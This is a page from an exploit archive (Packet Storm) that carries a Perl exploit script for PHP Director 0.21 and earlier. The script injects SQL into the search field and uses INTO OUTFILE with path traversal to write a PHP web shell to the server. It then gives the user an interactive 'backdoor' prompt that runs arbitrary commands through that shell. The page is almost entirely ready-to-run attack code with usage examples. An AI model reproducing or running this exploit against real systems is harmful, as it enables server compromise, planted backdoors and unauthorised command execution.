what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Director 0.21 Command Execution

PHP Director 0.21 Command Execution
Posted Feb 9, 2009
Authored by darkjoker | Site darkjokerside.altervista.org

PHP Director versions 0.21 and below remote command execution exploit.

tags | exploit, remote, php
SHA-256 | 23d4f567cf83105e7ff2d1ab02a91175e3510327990dd7c20304f72f653cd721

PHP Director 0.21 Command Execution

Change Mirror Download
--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub clear
{
my $out = $_ [0];
$out =~ s/.+?xx//;
$out =~ s/xx.+//;
return $out;
}

sub usage
{
print "\nPHP Director <= 0.21 Remote Command Execution Exploit".
"\n[+] Author: darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&big_mirror=0".
"\n[+] Usage : perl ${0} <hostname> <cms path> <shell destination>".
"\n[+] Ex. : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
"\n[+] Notes : <shell destination> must be the same directory where CMS is hosted".
"\n\n";
exit ();
}

sub send_shell
{
my ($host, $path, $disc_path) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => 80,
Proto => "tcp",
) or die "[-] Exploit failed.\n";
my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
"?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
"OUTFILE '${disc_path}/shell.php' FROM pp_files#";
my $post = "POST ${path}/index.php HTTP/1.1\r\n".
"Host: ${host}\r\n".
"Connection: Close\r\n".
"Content-Length: ". length ($sql_code) . "\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n\r\n".
$sql_code;
print $sock $post;
close ($sock);
}

my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
print "backdoor\@${host}: \$ ";
$cmd = <STDIN>;
chomp $cmd;
$cmd =~ s/ /%20/g;
exit if ($cmd =~ /quit/);
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => 80,
Proto => "tcp",
);
my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
print $sock $get;
my $x;
$x .= $_ while (<$sock>);
$x = clear ($x);
print $x;
close ($sock);
}

Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close